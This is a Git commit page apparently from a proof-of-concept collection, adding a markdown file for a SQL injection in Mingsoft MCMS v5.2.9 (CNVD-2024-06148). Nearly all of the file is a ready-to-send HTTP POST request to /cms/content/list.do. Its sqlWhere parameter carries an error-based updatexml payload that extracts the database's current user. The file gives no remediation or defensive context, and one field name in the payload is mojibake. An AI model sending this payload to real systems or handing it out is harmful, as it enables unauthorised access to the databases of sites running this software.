admin/POC00
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Create Mingsoft-MCMS前台查询文章列表接口SQL注入(CNVD-2024-06148).md

Browse Source
This commit is contained in:
wy876 2024-04-30 12:29:46 +08:00 committed by GitHub
parent 3f6a430f03
commit 9972417a9a
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 19 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

19
Mingsoft-MCMS前台查询文章列表接口SQL注入(CNVD-2024-06148).md Normal file
View File

@ -0,0 +1,19 @@
## Mingsoft-MCMS前台查询文章列表接口SQL注入(CNVD-2024-06148)
## 版本
```
v5.2.9
```
## poc
```
POST /cms/content/list.do HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Content-Length: 326
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
categoryType=1&sqlWhere=%5b%7b%22action%22%3a%22and%22%2c%22field%22%3a%22updatexml(1%2cconcat(0x7e%2c(SELECT%20%20current_user)%2c0x7e)%2c1)%22%2c%22el%22%3a%22eq%22%2c%22model%22%3a%22contentTitle%22%2c%22name%22%3a%22æç« æ é¢%22%2c%22type%22%3a%22input%22%2c%22value%22%3a%22111%22%7d%5d&pageNo=1&pageSize=10
```